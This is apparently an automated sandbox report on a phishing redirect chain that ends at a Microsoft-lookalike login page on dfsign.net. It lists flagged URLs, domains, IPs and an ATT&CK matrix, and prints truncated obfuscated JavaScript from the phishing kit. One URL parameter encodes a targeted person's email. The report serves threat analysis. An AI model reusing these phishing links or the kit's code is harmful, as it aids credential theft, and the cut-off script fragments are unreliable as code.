Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	0%	Avira URL Cloud	safe
https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	0%	Avira URL Cloud	safe
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true	0%	Avira URL Cloud	safe
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/illustration?ts=638616517367191629	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js	0%	Avira URL Cloud	safe
https://login.dfsign.net/common/instrumentation/dssostatus	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	0%	Avira URL Cloud	safe
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/bannerlogo?ts=638616517362984701	0%	Avira URL Cloud	safe
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://8ae57709-b5027fcd.dfsign.net/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe
https://login.dfsign.net/common/handlers/watson	0%	Avira URL Cloud	safe
https://l1ve.dfsign.net/Me.htm?v=3	0%	Avira URL Cloud	safe
https://zion.com.sg/wp-direct.php?code=gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://login.dfsign.net/b5027fcd16144f65bd8810f5f9ce2240/	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	0%	Avira URL Cloud	safe
https://8ae57709-b5027fcd.dfsign.net/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3D1f4c27ade1e540838fb9cb449bcbd3e2%26HASH%3D1f4c%26LV%3D202501%26V%3D4%26LU%3D1736257740581&w=0	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/favicon?ts=638615710500539949	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg	0%	Avira URL Cloud	safe
https://58fdca4b-b5027fcd.dfsign.net/Prefetch/Prefetch.aspx	0%	Avira URL Cloud	safe
https://login.dfsign.net/favicon.ico	0%	Avira URL Cloud	safe
https://5eddaa21-b5027fcd.dfsign.net/470302df-b5027fcd.dfsign.net/winauth/ssoprobe?client-request-id=ee85291b-d42c-4604-ac80-bb2cfe8c29a4&_=1736257733011	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	0%	Avira URL Cloud	safe
https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://03e75177-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js	0%	Avira URL Cloud	safe
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
58fdca4b-b5027fcd.dfsign.net	104.248.23.102	true	true	unknown
9b4922d2-b5027fcd.dfsign.net	104.248.23.102	true	false	high
l1ve.dfsign.net	104.248.23.102	true	true	unknown
e5avps89.iimwf.biz	210.138.145.62	true	false	unknown
login.dfsign.net	104.248.23.102	true	false	high
00459cc6-b5027fcd.dfsign.net	104.248.23.102	true	true	unknown
5eddaa21-b5027fcd.dfsign.net	104.248.23.102	true	true	unknown
zion.com.sg	101.100.204.200	true	false	unknown
www.google.com	142.250.185.228	true	false	high
9676170e-b5027fcd.dfsign.net	104.248.23.102	true	false	high
03e75177-b5027fcd.dfsign.net	104.248.23.102	true	false	high
8ae57709-b5027fcd.dfsign.net	104.248.23.102	true	false	high
www.clubgets.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/illustration?ts=638616517367191629	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	true	Avira URL Cloud: safe	unknown
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/bannerlogo?ts=638616517362984701	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/common/instrumentation/dssostatus	true	Avira URL Cloud: safe	unknown
https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	false	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	false		unknown
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	true	Avira URL Cloud: safe	unknown
https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	false		unknown
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	false		unknown
https://zion.com.sg/wp-direct.php?code=gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m	false	Avira URL Cloud: safe	unknown
https://l1ve.dfsign.net/Me.htm?v=3	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	true	Avira URL Cloud: safe	unknown
https://8ae57709-b5027fcd.dfsign.net/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/common/handlers/watson	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	Avira URL Cloud: safe	unknown
https://8ae57709-b5027fcd.dfsign.net/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3D1f4c27ade1e540838fb9cb449bcbd3e2%26HASH%3D1f4c%26LV%3D202501%26V%3D4%26LU%3D1736257740581&w=0	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/b5027fcd16144f65bd8810f5f9ce2240/	true	Avira URL Cloud: safe	unknown
https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/favicon?ts=638615710500539949	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	Avira URL Cloud: safe	unknown
https://58fdca4b-b5027fcd.dfsign.net/Prefetch/Prefetch.aspx	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg	true	Avira URL Cloud: safe	unknown
https://5eddaa21-b5027fcd.dfsign.net/470302df-b5027fcd.dfsign.net/winauth/ssoprobe?client-request-id=ee85291b-d42c-4604-ac80-bb2cfe8c29a4&_=1736257733011	true	Avira URL Cloud: safe	unknown
https://login.dfsign.net/favicon.ico	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	true	Avira URL Cloud: safe	unknown
https://03e75177-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js	true	Avira URL Cloud: safe	unknown
https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2	true	Avira URL Cloud: safe	unknown
https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
210.138.145.62	e5avps89.iimwf.biz	Japan	2497	IIJInternetInitiativeJapanIncJP	false
101.100.204.200	zion.com.sg	Singapore	58621	VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG	false
104.248.23.102	58fdca4b-b5027fcd.dfsign.net	United States	14061	DIGITALOCEAN-ASNUS	false

Private

IP
192.168.2.16
192.168.2.18

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585350
Start date and time:	2025-01-07 14:48:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@18/71@34/7

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.181.238, 74.125.206.84, 216.58.212.174, 142.250.185.238, 142.250.186.46, 172.217.18.14, 142.250.185.138, 142.250.186.74, 142.250.185.202, 142.250.184.234, 172.217.16.138, 216.58.212.170, 142.250.185.170, 142.250.186.170, 142.250.181.234, 142.250.185.234, 142.250.185.106, 142.250.184.202, 172.217.23.106, 216.58.206.74, 216.58.206.42, 142.250.185.74, 142.250.186.142, 142.250.186.67, 142.250.185.142, 142.250.185.110, 216.58.206.78, 142.250.185.206, 184.28.90.27, 4.245.163.56
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m

Input	Output
URL: https://www.clubgets.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.clubgets.com
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. It interacts with multiple external domains, some of which may be suspicious or malicious. While the script appears to have some legitimate functionality, such as analytics and tracking, the overall behavior is concerning and requires further investigation." }
function a0t5(t,z){var b=a0t4();return a0t5=function(r,k){r=r-0xd3;var j=b[r];return j;},a0t5(t,z);}function a0t4(){var y9=['buffer','Incompatible\x20receiver,\x20','getFullYear','round','toISOString','FCHpa','pageXOffset','browserLanguage','\x0auserAgent:\x20','NODE','18864050kALEfq','#divAgahi','stack','cssText','multiline','Array','webgl','slice','FQyiw','connect','lSaUG','','(forced-colors:\x20','rejection','TouchEvent','kmdpg','postMessage','important','onmozfullscreenchange','left','#pgeldiz','EwPLK','MEDIUM_INT','src','oCSKH','function','skipped','origin','.img-kosana','48px','\x20is\x20not\x20a\x20symbol','.yt.btn-link.btn-md.btn','NATIVE','awNhJ','isArray','AS_ENTRIES','Can\x27t\x20convert\x20object\x20to\x20primitive\x20value','puffinDevice','ijfqK','values','','RGB8','','indexedDB','expm1','__generator','cYUzv','','3.38.0','return\x20(function()\x20','navigator','ongestureend','Wlfrc','Reflect','test','#hirdetesek_box','baseLatency','','__gCrWeb','','tsvJx','iLFyj','DFhES','htmlfile','undefined','unhandledrejection','wDWHa','groups','jvmIL','attack','IteratorPrototype','(dynamic-range:\x20','apply','Ceztw','abcd','userAgent','dispatchEvent','index','XAKzP','prototype','StvJx','AsyncGeneratorFunction','state','#queTooltip','xlFee','7321090GPzfUy','none','','lbXhh','Deno','deg)','attributionSourceId','(prefers-reduced-motion:\x20','CONFIGURABLE','WebKitMutationObserver','Cloudflare-Workers','innerHeight','1172945cDChxN','getStorageUpdates','ontypechange','','23652nxYDxw','string-to-symbol-registry','whiteSpace','more','Not\x20enough\x20arguments','species','hLFQT','UNMASKED_RENDERER_WEBGL','segments','value','pointerLockElement','WebKitMediaKeys','Arabic\x20Typesetting','reactions','gJjYz','Cwm\x20fjordbank\x20gly\x20','{}.constructor(\x22return\x20this\x22)(\x20)','symbol-to-string-registry','rejectionHandled','787204pbKGBL','div[id^=\x22smi2adblock\x22]','UOFwX','','textSizeAdjust','emit','sdFuj','eNAHn','setImmediate','info','xXnBI','query','[object\x20','DKcIk','.o--cookies--container','appendChild','Bcdia','GjMto','#mobileCatfish','sUnxa','maxTouchPoints','some','exports','Bad\x20Promise\x20constructor','monitoring','style','(inverted-colors:\x20','append','onload','notified','.bumq','offsetHeight','kjefE','charAt','__crWeb','Janqg','join','4567374ehKIwy','#kauli_yad_1','dotAll','__spreadArray','notifications','#f9c','AsrPn','','active','\x0a\x20\x20','00000000','','IS_ITERATOR','EXISTS','stat','ghTBW','type','sinh','LLuUW','error','WyhzW','return','.sb-box-pubbliredazionale','Unexpected\x20syntax\x20\x27','WRttn','sticky','','language','#meteored_share','','nweUX','ceil','MS\x20Mincho','Batang','ezjYo','xEMrF','rec2020','qOzYD','set','#back-top','#f60','Event','cnPFE','\x0a```','string','sinkId','shift','hidden','push','getBoundingClientRect','srgb','sessionStorage','MgCyN','Promise-chain\x20cycle','qhOlE','webkitTextSizeAdjust','forEach','canMakePayments','native-string-replace','normalize','object','FhENe','mediaSession','yandex','zVlSD','BatteryManager','knee','','rangeMax','offsetWidth','NNZFT','close','.kadr','permission','/a/b','RzovF','supports','TkvZi','enter','Tjlgf','RGBColor','','#publiEspecial','Microsoft\x20Uighur','font','msWriteProfilerMark','get','fcyAO','createDynamicsCompressor','SimHei','(prefers-contrast:\x20','valueOf','AvantGarde\x20Bk\x20BT','load','textContent','MPXjR','#Kolom-Iklan-728','','textBaseline','userbri','languages','7782474EJbEwa','#social_follow','oscpu','fontFamily','vFZVa','YoZrz','onmessage','rzWHT','rgba(102,\x20204,\x200,\x200.2)','.sklik','create','])[','','less','.etsy-tweet','arc','div[class^=\x22app_gdpr\x22]','tagName','connection','.BlockNag__Card','Window','createElement','#backkapat','#qoo-counter','versions','(min-monochrome:\x200)','has','getParameter','font-size-adjust:\x20ex-height\x200.5','Agency\x20FB','throw','','Ixway','xkRJH','toLocaleString','','GyXxj','protocol','withoutSetter','toJSON','filter','xWKMP','NRugJ','Object\x20already\x20initialized','toFix
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including redirecting the user to a potentially untrusted domain and modifying the URL with query parameters. While the intent is not entirely clear, the script's behavior could be used for malicious purposes such as tracking or phishing. Further investigation is recommended." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(true){s&&s.body&&(s.body.style.display="block")}else if(false){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses dynamic code execution through the `Function` constructor, which can be a high-risk indicator. Additionally, it sends data to external domains, which could potentially lead to data exfiltration. While the intent of the script is not entirely clear, the combination of these behaviors warrants further investigation and a medium-risk score." }
!function(){"use strict";var t=function(r,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,r){t.__proto__=r}\|\|function(t,r){for(var e in r)Object.prototype.hasOwnProperty.call(r,e)&&(t[e]=r[e])},t(r,e)};function r(r,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=r}t(r,e),r.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function e(t,r,e,n){return new(e\|\|(e=Promise))((function(o,i){function u(t){try{s(n.next(t))}catch(t){i(t)}}function c(t){try{s(n.throw(t))}catch(t){i(t)}}function s(t){var r;t.done?o(t.value):(r=t.value,r instanceof e?r:new e((function(t){t(r)}))).then(u,c)}s((n=n.apply(t,r\|\|[])).next())}))}function n(t,r){var e,n,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function c(c){return function(s){return function(c){if(e)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(u=0)),u;)try{if(e=1,n&&(o=2&c[0]?n.return:c[0]?n.throw\|\|((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,c[1])).done)return o;switch(n=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return u.label++,{value:c[1],done:!1};case 5:u.label++,n=c[1],c=[0];continue;case 7:c=u.ops.pop(),u.trys.pop();continue;default:if(!(o=u.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){u=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){u.label=c[1];break}if(6===c[0]&&u.label<o[1]){u.label=o[1],o=c;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(c);break}o[2]&&u.ops.pop(),u.trys.pop();continue}c=r.call(t,u)}catch(t){c=[6,t],n=0}finally{e=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,s])}}}Object.create;function o(t){var r="function"==typeof 